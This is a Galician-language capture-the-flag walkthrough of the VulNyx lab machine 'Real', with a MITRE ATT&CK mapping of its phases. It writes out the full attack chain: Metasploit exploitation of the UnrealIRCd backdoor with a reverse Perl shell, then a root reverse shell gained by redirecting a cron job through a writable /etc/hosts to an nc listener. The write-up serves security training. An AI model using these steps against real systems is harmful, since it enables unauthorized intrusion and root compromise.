Ir ao contido

Real

Máquina virtual Real

Fig. VulNyx Real
Fig. Card VulNyx Real

A máquina Real é moi interesante porque...

  • Backdoor en UnrealIRCd (CVE-2010-2075)
  • Explotación mediante Metasploit Framework
  • Ficheiro /etc/hosts escribible
  • Tarefa cron que conecta a host remoto
  • Redirección de tráfico mediante modificación de /etc/hosts
  • Captura de conexión de cron para obter shell root

Diagrama de ataque

Fig. Diagrama de ataque

Fase 1 — Recopilación

sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Real -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Real # 22,6667
whatweb IP_VulNyx_Real

Fase 2 — Análise

# Porto 6667 → IRC (UnrealIRCd)
# Busca de exploits para UnrealIRCd
searchsploit unreal

# Preparación de exploit con Metasploit
msfconsole -q
use exploit/unix/irc/unreal_ircd_3281_backdoor
show options
set RHOSTS IP_VulNyx_Real
show payloads
set payload payload/cmd/unix/reverse_perl
set LHOST IP_Atacante

Fase 3 — Explotación

# Explotación mediante Metasploit
exploit
# ⇒ Conseguimos shell como usuario server

whoami # server
cd
cat user.txt # ⇒ Flag de usuario conseguida

Fase 4 — Post‑explotación

# Enumeración do sistema
ls -l /etc/hosts # Permisos de escritura
ls -l /opt/task # Script de tarefa programada

cat /opt/task
# O script conecta a un host remoto (shelly.nyx) polo porto 65000

# Modificación de /etc/hosts para apuntar shelly.nyx á nosa IP
echo "IP_Atacante shelly.nyx" >> /etc/hosts

# Preparamos listener no atacante
nc -nlvp 65000
# Esperamos a que root execute a tarefa programada mediante cron

# ⇒ Obtemos reverse shell como root
whoami # root
cd
cat root.txt # ⇒ Flag de root conseguida

Correspondencia de fases → MITRE ATT&CK — VulNyx: Real

Fase Acción / Resumo Vector principal MITRE ATT&CK (IDs) CWE(s) (relevantes)
1. Recopilación Descubrimento de host e servizos expostos Scanning / descubrimento de servizos T1595 — Active Scanning
T1046 — Network Service Discovery
CWE-200 — Information Exposure (reconnaissance)
2. Análise Identificación de backdoor en UnrealIRCd Explotación de servizo vulnerable T1190 — Exploit Public-Facing Application
T1592 — Gather Victim Host Information
CWE-506 — Embedded Malicious Code
3. Explotación Explotación de backdoor en UnrealIRCd mediante Metasploit Remote Code Execution / backdoor T1059.004 — Command and Scripting Interpreter: Unix Shell
T1203 — Exploitation for Client Execution
CWE-94 — Improper Control of Generation of Code
4. Post-explotación Enumeración de tarefas programadas e ficheiros de configuración Discovery local T1083 — File and Directory Discovery
T1053 — Scheduled Task/Job
CWE-732 — Incorrect Permission Assignment for Critical Resource
Modificación de /etc/hosts para redirect de tráfico Man-in-the-Middle / DNS spoofing local T1565.002 — Data Manipulation: Transmitted Data Manipulation
T1557 — Adversary-in-the-Middle
CWE-284 — Improper Access Control
Captura de conexión de tarefa cron e obtención de shell root Hijacking de tarefa programada T1053.003 — Scheduled Task/Job: Cron
T1068 — Exploitation for Privilege Escalation
CWE-269 — Improper Privilege Management